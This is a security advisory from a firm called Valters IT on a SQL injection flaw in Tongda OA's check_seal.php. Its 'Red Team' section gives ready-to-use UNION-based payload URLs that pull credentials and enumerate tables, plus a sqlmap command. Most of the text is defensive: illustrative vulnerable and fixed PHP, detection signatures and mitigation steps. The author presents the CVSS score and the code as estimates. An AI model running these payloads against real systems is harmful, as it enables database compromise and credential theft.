CVE-2024-10617

Executive Summary

CVE-2024-10617 is a critical SQL injection vulnerability in Tongda OA (Office Automation) up to version 11.10. The flaw resides in the /pda/workflow/check_seal.php file, where the ID argument is not properly sanitized, allowing remote attackers to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or complete database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary PHP-based application (Tongda OA). Organizations using this software should treat it as a critical supply chain risk and consider isolating or decommissioning the affected component until a patch is released.

CVSS Breakdown & Threat Level

While the official CVSS vector is unknown, based on the description (critical, remote, SQL injection), a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via SQL manipulation.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – public exploit, no patch, remote, no authentication.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the check_seal.php script. The ID parameter is likely concatenated directly into a SQL query without proper sanitization or parameterized statements. For example, a vulnerable query might look like:

SELECT * FROM seals WHERE id = $_GET['ID'];

An attacker can manipulate the ID parameter to break out of the intended query structure. For instance:

http://target.com/pda/workflow/check_seal.php?ID=1 UNION SELECT username,password FROM users--

This would return user credentials alongside legitimate seal data. The injection point is in the ID parameter, and the database backend is likely MySQL or similar.

The exploit is publicly available, meaning attackers can easily replicate the attack. The lack of a patch means all versions up to 11.10 are vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (PHP):

<?php
$id = $_GET['ID'];
$query = "SELECT * FROM seals WHERE id = $id";
$result = mysqli_query($conn, $query);
// ...
?>

Patched Code (Expected):

<?php
$id = intval($_GET['ID']); // or use prepared statements
$stmt = $conn->prepare("SELECT * FROM seals WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
// ...
?>

The fix involves either casting the input to an integer or using parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Tongda OA instance (version 11.10 or earlier) in an isolated environment.
2. Ensure the /pda/workflow/check_seal.php endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable parameter: ID.
2. Test for SQL injection using a simple payload:

   http://target/pda/workflow/check_seal.php?ID=1'
   

   If an error is returned, the endpoint is likely vulnerable.
3. Use UNION-based injection to extract data:

   http://target/pda/workflow/check_seal.php?ID=1 UNION SELECT 1,2,3,4--
   

4. Enumerate database tables and columns:

   http://target/pda/workflow/check_seal.php?ID=1 UNION SELECT table_name,2,3,4 FROM information_schema.tables--
   

5. Extract sensitive data (e.g., user credentials):

   http://target/pda/workflow/check_seal.php?ID=1 UNION SELECT username,password,3,4 FROM users--
   

Automated Exploitation: Use SQLMap:

sqlmap -u "http://target/pda/workflow/check_seal.php?ID=1" --batch --dbs

Blue Team

Detection:

• Monitor web server logs for suspicious ID parameter values containing SQL keywords (UNION, SELECT, etc.).
• Look for error messages indicating SQL syntax errors.
• Use WAF rules to block common SQL injection patterns.

Hunting:

• Search for requests to /pda/workflow/check_seal.php with unusual ID values.
• Correlate with database error logs.

Containment:

• Immediately block access to /pda/workflow/check_seal.php via web server configuration or WAF.
• If possible, disable the vulnerable module until a patch is applied.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /pda/workflow/check_seal.php with ID parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• Host:
  • Unusual database queries in logs (e.g., UNION, information_schema).
  • Modified or new files in the web root (backdoor uploads).
• File:
  • Suspicious PHP files in /pda/workflow/ directory.
• Logs:
  • Web server logs showing check_seal.php with ID parameter containing ', --, UNION, etc.

Detection Engineering

YARA Rule

rule CVE_2024_10617_SQLi_CheckSeal {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10617 in Tongda OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10617"
    strings:
        $s1 = "check_seal.php" nocase
        $s2 = "ID=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "information_schema" nocase
        $s6 = "1=1" nocase
        $s7 = "' OR '" nocase
    condition:
        $s1 and $s2 and (
            $s3 or $s4 or $s5 or $s6 or $s7
        )
}

Sigma Rule

title: CVE-2024-10617 SQL Injection Attempt on Tongda OA
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against /pda/workflow/check_seal.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10617
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "check_seal.php?ID="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10617 SQL Injection Attempt on Tongda OA"; flow:to_server,established; content:"check_seal.php"; http_uri; content:"ID="; http_uri; pcre:"/(\bUNION\b|\bSELECT\b|\bOR\b|\bAND\b|\b--\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block Access: Use a WAF or web server configuration to block requests to /pda/workflow/check_seal.php.
2. Input Validation: If source code access is available, implement parameterized queries or cast ID to an integer.
3. Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Apply an official patch from Tongda when released.
• Upgrade to a patched version of Tongda OA.
• Conduct a security audit of the entire application for similar vulnerabilities.

Compensating Controls:

• Use a Web Application Firewall (WAF) with SQL injection prevention rules.
• Implement database activity monitoring to detect anomalous queries.
• Restrict database user permissions to least privilege.

Valters IT
Securing Digital Frontiers